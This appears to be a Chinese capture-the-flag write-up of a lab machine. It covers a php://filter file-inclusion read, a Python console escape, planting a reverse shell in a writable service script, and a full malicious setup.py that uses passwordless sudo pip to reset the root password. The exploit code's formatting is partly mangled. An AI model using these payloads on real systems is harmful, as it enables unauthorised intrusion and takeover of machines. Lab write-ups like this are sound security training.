思路
关键点
- 文件包含, php://filter读php代码
- 自定义服务, 自动重启
- sudo无密码执行pip, pip提权
端口扫描, 整理思路
1 | $ nmap -sS -Pn -A -p- 10.129.10.36 |
80端口, Apache httpd 2.4.10 无漏洞可用、考虑WEB漏洞
111端口, rpcbind和status无法利用 放弃
3333端口, ssh服务 搁置
53784端口, 放弃
80端口, 文件包含
查看WEB页面源码后发现一个隐藏的url, 访问之后页面内容发生改变;
猜测此处可能的实现方法是: Sql、文件包含、文件读取、内部判断输出
- 尝试sql, 丢地址到sqlmap后无果 搁置
- 尝试文件包含, wfuzz加字典FUZZ 发现index导致响应不同
- 尝试文件读取, BurpSuite加字典FUZZ无果 搁置
访问:http://10.129.10.36/?lang=php://filter/read=convert.base64-encode/resource=index
, 读出bash64编码的数据; 数据丢到BurpSuite解码, 拿到密码
3333端口, 逃逸python
拿到密码后, 在html源码中找到meta字段元标签, 尝试用author的值mamadou作为用户名登陆ssh, 成功登陆
拿到python控制台后, 运行操作系统命令bash, 逃逸python控制台1
2import os
"bash") os.system(
进入mamadou主目录, 发现flag1
devops, 服务提权
拿到bash后, 执行LinEnum.sh查找可利用点, 结果一无所获. 此时的思路是查找其他用户属主的文件, 找出其中当前用户可写的文件, 然后分析是否有利用的可能
小提示:当前账号无法查找到可利用的点时, 考虑查找其他账户属主的文件, 重点关注当前权限可写文件, 查找是否有计划任务、服务等利用该文件1
$ find / -user devops 2>/dev/null
发现文件/srv/.antivirus.py
且当前用户可写, 查找当前文件是否被服务调用(根据LinEnum.sh的执行结果, 已排除计划任务的可能性)1
$ grep -ri ".antivirus.py" / 2>/dev/null
发现有服务在运行此文件, 查看服务内容1
$ cat /lib/systemd/system/antivirus.service
服务具有自动重启功能, 于是在文件中写入python反弹shell, 拿到devops权限的shell, 获得flag2
sudo -l
, 成功通关
运行LinEnum.sh文件, 查找devops用户中可利用的点, 发现可通过sudo无密码运行pip程序
pip是python中用来安装模块的一款工具, python模块是可以自己构建的, 因此此处可通过自建python模块实现提权1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22# 下面这段代码改编自:https://github.com/0x00-0x00/fakepip, 感谢大神的分享
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
def run(self):
install.run(self)
os.system('(echo "owefsad";sleep 1;echo "owefsad")|passwd>/dev/null')
setup(name='SetRootPwd',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='',
author='owefsad',
author_email='owefsad@gmail.com',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})
将上面的文件命名为setup.py, 然后放在一个空白文件夹中, 进入文件夹安装SetRootPwd模块, 即可成功修改root密码为owefsad
1
2$ cd SetRootPwd
$ sudo pip install .
拿到root.txt中的flag
疑点
- 从mamadou提权到devops时, 需要利用antivirus服务, 服务必须出错或停止时, 才能能够重启, 然后执行反弹shell; 但是服务中原来的python代码是可以正常执行的, 为何在第一次写入反弹shell后, 可执行反弹sehll?